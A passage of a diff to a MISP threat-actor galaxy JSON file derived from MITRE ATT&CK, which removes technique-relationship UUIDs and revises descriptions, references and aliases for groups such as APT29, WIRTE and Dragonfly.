"tags": [ @@ -12650,13 +11955,6 @@ ], "type": "uses" }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", "tags": [ @@ -12685,20 +11983,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4664b683-f578-434f-919b-1c1aad2a1111", "tags": [ @@ -12713,13 +11997,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4d7bf2ac-f953-4907-b114-be44dc174d67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ @@ -12762,13 +12039,6 @@ ], "type": "uses" }, - { - "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", "tags": [ @@ -12832,20 +12102,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -12860,13 +12116,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -12895,33 +12144,12 @@ ], "type": "uses" }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c", @@ -13582,40 +12810,18 @@ "value": "Carbanak - G0008" }, { - "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", "meta": { "external_id": "G0090", "refs": [ "https://attack.mitre.org/groups/G0090", - "https://lab52.io/blog/wirte-group-attacking-the-middle-east/", - "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" + "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" ], "synonyms": [ "WIRTE" ] }, "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", "tags": [ @@ -13630,20 +12836,6 @@ ], "type": "uses" }, - { - "dest-uuid": "73d08401-005f-4e1f-90b9-8f45d120879f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9020f5c7-efde-4125-a4f1-1b70f1274ddd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -13658,13 +12850,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -14263,13 +13448,11 @@ "meta": { "external_id": "G0016", "refs": [ - "http://www.secureworks.com/research/threat-profiles/iron-hemlock", "https://attack.mitre.org/groups/G0016", "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF", "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", @@ -14283,7 +13466,6 @@ "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise", - "https://www.secureworks.com/research/threat-profiles/iron-ritual", "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf", "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", @@ -14291,8 +13473,6 @@ ], "synonyms": [ "APT29", - "IRON RITUAL", - "IRON HEMLOCK", "NobleBaron", "Dark Halo", "StellarParticle", @@ -14347,13 +13527,6 @@ ], "type": "uses" }, - { - "dest-uuid": "066b057c-944e-4cfc-b654-e3dfba04b926", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", "tags": [ @@ -14361,13 +13534,6 @@ ], "type": "uses" }, - { - "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "11f8d7eb-1927-4806-9267-3a11d4d4d6be", "tags": [ @@ -14431,13 +13597,6 @@ ], "type": "uses" }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -14459,13 +13618,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ @@ -14473,13 +13625,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4", "tags": [ @@ -14487,13 +13632,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -14578,13 +13716,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -14648,13 +13779,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", "tags": [ @@ -14683,13 +13807,6 @@ ], "type": "uses" }, - { - "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ @@ -14760,13 +13877,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6dbdc657-d8e0-4f2f-909b-7251b3e72c6d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ @@ -14774,13 +13884,6 @@ ], "type": "uses" }, - { - "dest-uuid": "72911fe3-f085-40f7-b4f2-f25a4221fe44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", "tags": [ @@ -14830,20 +13933,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "tags": [ @@ -14851,13 +13940,6 @@ ], "type": "uses" }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "tags": [ @@ -14886,13 +13968,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -14907,13 +13982,6 @@ ], "type": "uses" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "959f3b19-2dc8-48d5-8942-c66813a5101a", "tags": [ @@ -14963,13 +14031,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -15040,13 +14101,6 @@ ], "type": "similar" }, - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -15075,20 +14129,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bc76d0a4-db11-4551-9ac4-01a469cfb161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ @@ -15096,13 +14136,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bdad6f3b-de88-42fa-9295-d29b5271808e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ @@ -15187,20 +14220,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -15271,13 +14290,6 @@ ], "type": "uses" }, - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", "tags": [ @@ -15299,20 +14311,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", "tags": [ @@ -15362,13 +14360,6 @@ ], "type": "uses" }, - { - "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -16887,212 +15878,6 @@ "uuid": "18854f55-ac7c-4634-bd9a-352dd07613b7", "value": "APT41 - G0096" }, - { - "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)", - "meta": { - "external_id": "G0140", - "refs": [ - "https://attack.mitre.org/groups/G0140", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" - ], - "synonyms": [ - "LazyScripter" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7cd0bc75-055b-4098-a00e-83dc8beaff14", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "911fe4c3-444d-4e92-83b8-cc761ac5fd3b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c8655260-9f4b-44e3-85e1-6538a5f6e4f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "da04ac30-27da-4959-a67d-450ce47d9470", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df9b350b-d4f9-4e79-a826-75cc75fbc1eb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", - "value": "LazyScripter - G0140" - }, { "description": "Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)", "meta": { @@ -19216,13 +18001,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ @@ -20337,30 +19115,21 @@ "value": "FIN5 - G0053" }, { - "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "meta": { "external_id": "G0035", "refs": [ "http://fortune.com/2017/09/06/hack-energy-grid-symantec/", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", "https://attack.mitre.org/groups/G0035", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "https://www.dragos.com/threat/dymalloy/", - "https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet", - "https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical", - "https://www.mandiant.com/resources/ukraine-crisis-cyber-threats", "https://www.secureworks.com/research/mcmd-malware-analysis", "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", - "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector" + "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" ], "synonyms": [ "Dragonfly", - "TEMP.Isotope", - "DYMALLOY", - "Berserk Bear", "TG-4192", "Crouching Yeti", "IRON LIBERTY", @@ -20368,34 +19137,6 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - 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"type": "uses" - }, - { - "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "26c87906-d750-42c5-946c-d4162c73fc7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -20698,7 +19166,7 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20711,27 +19179,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ @@ -20739,20 +19186,6 @@ ], "type": "uses" }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c4810609-7da6-48ec-8057-1b70a7814db0", "tags": [ @@ -20760,34 +19193,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - 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"type": "uses" - }, - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -23511,13 +21874,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -23764,7 +22120,7 @@ "type": "uses" }, { - "dest-uuid": "f74a5069-015d-4404-83ad-5ca01056c0dc", + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23933,20 +22289,6 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "tags": [ @@ -23954,13 +22296,6 @@ ], "type": "uses" }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "tags": [ @@ -23996,13 +22331,6 @@ ], "type": "uses" }, - { - "dest-uuid": "16cdd21f-da65-4e4f-bc04-dd7d198c7b26", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ @@ -24010,20 +22338,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", 